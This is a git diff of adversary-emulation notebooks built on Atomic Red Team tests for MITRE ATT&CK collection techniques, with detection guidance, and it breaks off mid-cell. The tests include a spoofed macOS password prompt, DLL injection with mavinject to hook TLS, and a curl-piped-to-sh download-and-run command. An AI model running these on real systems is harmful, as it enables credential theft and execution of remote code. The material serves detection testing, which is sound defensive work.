"#### Cleanup: \n```bash\nkill `pgrep swift-frontend`\n```" }, { "cell_type": "code", "execution_count": null, - "id": "61c79528", + "id": "2e8bdf64", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1056.001 -TestNumbers 7 -Cleanup" + "source": "Invoke-AtomicTest T1056.001 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "8cbeef93", + "id": "5ad949e3", "metadata": {}, "source": "## Detection\nKeyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes." } @@ -337,13 +382,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1056.002.ipynb b/playbook/tactics/collection/T1056.002.ipynb index d98cf7a9..f96fb973 100644 --- a/playbook/tactics/collection/T1056.002.ipynb +++ b/playbook/tactics/collection/T1056.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "30cb9ab2", + "id": "2ea696c3", "metadata": {}, "source": "# T1056.002 - GUI Input Capture\nAdversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) " }, { "cell_type": "markdown", - "id": "fe0bfee3", + "id": "4e3452c7", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "748ae4b1", + "id": "5178aad0", "metadata": {}, "source": [ "### Atomic Test #1 - AppleScript - Prompt User for Password", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "6e18bb92", + "id": "f9221d29", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b9f6a8cb", + "id": "9dbe084a", "metadata": {}, "source": [ "### Atomic Test #2 - PowerShell - Prompt User for Password", @@ -47,14 +47,34 @@ { "cell_type": "code", "execution_count": null, - "id": "ac1927db", + "id": "79586fec", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "0768ede7", + "id": "519cb2a2", + "metadata": {}, + "source": [ + "### Atomic Test #3 - AppleScript - Spoofing a credential prompt using osascript", + "Prompt user for password without requiring permissions to send Apple events to System Settings.\nhttps://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/\n", + "**Supported Platforms:** macos", + "#### Attack Commands: Run with `bash`\n", + "```bash\nPWD_SPOOF=$(osascript -e 'display dialog \"To perform a security update MacOS needs your passphrase.\" with title \"MacOS Security Update\" default answer \"\" with icon stop with hidden answer')\necho $PWD_SPOOF\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "92a5b570", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1056.002 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "2a3f15a4", "metadata": {}, "source": "## Detection\nMonitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. " } @@ -62,13 +82,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1056.003.ipynb b/playbook/tactics/collection/T1056.003.ipynb index 35c6e6df..f68ac4f3 100644 --- a/playbook/tactics/collection/T1056.003.ipynb +++ b/playbook/tactics/collection/T1056.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "6d9b249b", + "id": "885ba050", "metadata": {}, "source": "# T1056.003 - Web Portal Capture\nAdversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)" }, { "cell_type": "markdown", - "id": "50163e1d", + "id": "61df9fe9", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "84f52863", + "id": "059a0011", "metadata": {}, "source": "## Detection\nFile monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1056.004.ipynb b/playbook/tactics/collection/T1056.004.ipynb index 2beb960f..ad233a4d 100644 --- a/playbook/tactics/collection/T1056.004.ipynb +++ b/playbook/tactics/collection/T1056.004.ipynb @@ -2,50 +2,50 @@ "cells": [ { "cell_type": "markdown", - "id": "edad9163", + "id": "854418d4", "metadata": {}, "source": "# T1056.004 - Credential API Hooking\nAdversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n" }, { "cell_type": "markdown", - "id": "e489a638", + "id": "315f79a3", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "99e0829b", + "id": "1ff9c5c9", "metadata": {}, - "source": "### Atomic Test #1 - Hook PowerShell TLS Encrypt/Decrypt Messages\nHooks functions in PowerShell to read TLS Communications\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: T1056.004x64.dll must exist on disk at specified location (#{file_name})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1056.004\\bin\\T1056.004x64.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1056.004\\bin\\T1056.004x64.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1056.004/bin/T1056.004x64.dll\" -OutFile \"PathToAtomicsFolder\\T1056.004\\bin\\T1056.004x64.dll\" -UseBasicParsing\n\n```" + "source": "### Atomic Test #1 - Hook PowerShell TLS Encrypt/Decrypt Messages\nHooks functions in PowerShell to read TLS Communications\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: T1056.004x64.dll must exist on disk at specified location (#{file_name})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1056.004\\bin\\T1056.004x64.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1056.004\\bin\\T1056.004x64.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1056.004/bin/T1056.004x64.dll\" -OutFile \"PathToAtomicsFolder\\T1056.004\\bin\\T1056.004x64.dll\" -UseBasicParsing\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f9862010", + "id": "ba7f6c0e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.004 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "11d5382e", + "id": "f8ee64da", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nmavinject $pid /INJECTRUNNING PathToAtomicsFolder\\T1056.004\\bin\\T1056.004x64.dll\nInvoke-WebRequest https://www.example.com -UseBasicParsing\n```" + "```powershell\nmavinject $pid /INJECTRUNNING \"PathToAtomicsFolder\\T1056.004\\bin\\T1056.004x64.dll\"\nInvoke-WebRequest https://www.example.com -UseBasicParsing\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "2d623fa8", + "id": "74edcd68", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "12ad3b89", + "id": "d0df0c9b", "metadata": {}, "source": "## Detection\nMonitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)" } @@ -53,13 +53,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1056.ipynb b/playbook/tactics/collection/T1056.ipynb index 855fb591..1b58543d 100644 --- a/playbook/tactics/collection/T1056.ipynb +++ b/playbook/tactics/collection/T1056.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "12e30a56", + "id": "ac5febac", "metadata": {}, "source": "# T1056 - Input Capture\nAdversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003))." }, { "cell_type": "markdown", - "id": "8ebe3f47", + "id": "ecbc12af", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "813a48fc", + "id": "cf41c9aa", "metadata": {}, "source": "## Detection\nDetection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present." }, { "cell_type": "markdown", - "id": "34d1271c", + "id": "4a10ffe1", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Content \n Seed content that can be used to lead an adversary in a specific direction, entice a behavior, etc. \n\n Decoy Content is the data used to tell a story to an adversary. This content can be legitimate or synthetic data which is used to reinforce or validate your defensive strategy. Examples of decoy content are files on a storage object, entries in the system registry, system shortcuts, etc.\n#### Opportunity\nThere is an opportunity to feed content to an adversary to influence their behaviors, test their interest in specific topics, or add legitimacy to a system or environment.\n#### Use Case\nA defender can feed decoy data to an adversary that is using a key-logger or other tool, so as to shape the encounter.\n#### Procedures\nCreate directories and files with names and contents using key words that may be relevant to an adversary to see if they examine or exfiltrate the data.\nSeed a file system with content that is of no value to the company but reinforces the legitimacy of the system if viewed by an adversary.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1074.001.ipynb b/playbook/tactics/collection/T1074.001.ipynb index 15cb0edd..72d40a61 100644 --- a/playbook/tactics/collection/T1074.001.ipynb +++ b/playbook/tactics/collection/T1074.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "0af6c0ad", + "id": "389d21c1", "metadata": {}, "source": "# T1074.001 - Local Data Staging\nAdversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nAdversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)" }, { "cell_type": "markdown", - "id": "a322ff08", + "id": "f6e54abb", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "43e06fd8", + "id": "b041bdf1", "metadata": {}, "source": [ "### Atomic Test #1 - Stage data from Discovery.bat", @@ -27,82 +27,107 @@ { "cell_type": "code", "execution_count": null, - "id": "c6157b9f", + "id": "e6bdedfe", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1074.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b6a03c05", + "id": "7afbb89e", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Force $env:TEMP\\discovery.bat -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "89645cc4", + "id": "ce1053fe", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1074.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "7f635036", + "id": "a8d6836d", + "metadata": {}, + "source": "### Atomic Test #2 - Stage data from Discovery.sh\nUtilize curl to download discovery.sh and execute a basic information gathering shell script\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: Check if curl is installed on the machine.\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v curl)\" ]; then echo \"curl is installed\"; else echo \"curl is NOT installed\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\nwhich apt && apt update && apt install -y curl || which pkg && pkg update && pkg install -y curl\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "340a4859", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1074.001 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "4dfe9017", "metadata": {}, "source": [ - "### Atomic Test #2 - Stage data from Discovery.sh", - "Utilize curl to download discovery.sh and execute a basic information gathering shell script\n", - "**Supported Platforms:** linux, macos", - "#### Attack Commands: Run with `bash`\n", - "```bash\ncurl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | bash -s > /tmp/T1074.001_discovery.log\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\ncurl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | sh -s > /tmp/T1074.001_discovery.log\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "3cb62aef", + "id": "d11319e8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1074.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "a4e98b97", + "id": "5f624319", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm /tmp/T1074.001_discovery.log\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "54b997ca", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1074.001 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "a1298144", "metadata": {}, "source": [ "### Atomic Test #3 - Zip a Folder with PowerShell for Staging in Temp", "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip\nwas placed in the temp directory.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCompress-Archive -Path PathToAtomicsFolder\\T1074.001\\bin\\Folder_to_zip -DestinationPath $env:TEMP\\Folder_to_zip.zip -Force\n```" + "```powershell\nCompress-Archive -Path \"PathToAtomicsFolder\\T1074.001\\bin\\Folder_to_zip\" -DestinationPath $env:TEMP\\Folder_to_zip.zip -Force\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a939c9e3", + "id": "c5b9c99a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1074.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "776042e5", + "id": "58d417da", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path $env:TEMP\\Folder_to_zip.zip -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "07ed857a", + "id": "3208a835", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1074.001 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "139338aa", + "id": "8d681f89", "metadata": {}, "source": "## Detection\nProcesses that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nConsider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection." } @@ -110,13 +135,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1074.002.ipynb b/playbook/tactics/collection/T1074.002.ipynb index 46573ef3..6a6de61e 100644 --- a/playbook/tactics/collection/T1074.002.ipynb +++ b/playbook/tactics/collection/T1074.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "426767bf", + "id": "8e214361", "metadata": {}, "source": "# T1074.002 - Remote Data Staging\nAdversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection." }, { "cell_type": "markdown", - "id": "b45c52c9", + "id": "0cae4191", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "9ef58670", + "id": "b2d4d6f6", "metadata": {}, "source": "## Detection\nProcesses that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1074.ipynb b/playbook/tactics/collection/T1074.ipynb index d7c9c8f9..a5e8c0f2 100644 --- a/playbook/tactics/collection/T1074.ipynb +++ b/playbook/tactics/collection/T1074.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "631b0c68", + "id": "beb34766", "metadata": {}, "source": "# T1074 - Data Staged\nAdversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection." }, { "cell_type": "markdown", - "id": "41e8af6f", + "id": "9f17ea91", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "b9984548", + "id": "fd85cea8", "metadata": {}, "source": "## Detection\nProcesses that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nConsider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection." }, { "cell_type": "markdown", - "id": "c483f247", + "id": "c4d58a15", "metadata": {}, "source": "\n## Shield Active Defense\n### Pocket Litter \n Place data on a system to reinforce the legitimacy of the system or user. \n\n Pocket Litter is data placed on a system to convince an adversary that the system and users are real. Pocket litter includes documents, registry entries, log history, browsing history, connection history, and other user data that one would expect to exist on a user's computer. This content may overlap with Decoy Content, however Pocket Litter covers aspects beyond just content (e.g.: Installed Applications, source code, clutter on a system, etc.).\n#### Opportunity\nIn an adversary engagement scenario, there is an opportunity to seed content to influence an adversary's behaviors, test their interest in specific topics, or add legitimacy to a system or environment.\n#### Use Case\nA defender can stage a variety of pocket litter files with known hashes around a system. Detections can be put in place if these hashes are seen moving around a system or out of the network.\n#### Procedures\nWhen staging a decoy system and user account, populate a user's folders and web history to make it look realistic to an adversary.\nStage a USB device with documents on a specific topic in order to see if they are exfiltrated by an adversary.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1113.ipynb b/playbook/tactics/collection/T1113.ipynb index a9b3b0ea..d746082a 100644 --- a/playbook/tactics/collection/T1113.ipynb +++ b/playbook/tactics/collection/T1113.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "bb7f0ad0", + "id": "ec46e4a4", "metadata": {}, "source": "# T1113 - Screen Capture\nAdversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)\n" }, { "cell_type": "markdown", - "id": "2c34d6bf", + "id": "1e391e9e", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "2af66004", + "id": "251759ec", "metadata": {}, "source": [ "### Atomic Test #1 - Screencapture", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "3596a0fc", + "id": "261ac1f1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1113 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "e4c4f402", + "id": "dab82448", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm /tmp/T1113_desktop.png\n```" }, { "cell_type": "code", "execution_count": null, - "id": "404223bf", + "id": "897ef50a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1113 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "5463f650", + "id": "dcffedb9", "metadata": {}, "source": [ "### Atomic Test #2 - Screencapture (silent)", @@ -61,42 +61,42 @@ { "cell_type": "code", "execution_count": null, - "id": "a49078aa", + "id": "4e9e01ae", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1113 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "aedddb01", + "id": "4426f2a3", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm /tmp/T1113_desktop.png\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6d4451c9", + "id": "563a897e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1113 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "7d07620d", + "id": "9d117346", "metadata": {}, "source": "### Atomic Test #3 - X Windows Capture\nUse xwd command to collect a full desktop screenshot and review file with xwud\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `bash`!\n##### Description: Package with XWD and XWUD must exist on device\n\n##### Check Prereq Commands:\n```bash\nif rpm -q xorg-x11-apps > /dev/null; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\nsudo yum install -y xorg-x11-apps \n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "38fbd2d6", + "id": "7bc297ab", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1113 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e956f555", + "id": "932c96c4", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -106,42 +106,87 @@ { "cell_type": "code", "execution_count": null, - "id": "301eddbb", + "id": "042cf717", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1113 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "ac92eb11", + "id": "2183e4f7", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm /tmp/T1113_desktop.xwd\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c497b192", + "id": "53ee53cc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1113 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "3d2174ea", + "id": "bf570a7b", "metadata": {}, - "source": "### Atomic Test #4 - Capture Linux Desktop using Import Tool\nUse import command from ImageMagick to collect a full desktop screenshot\n\n**Supported 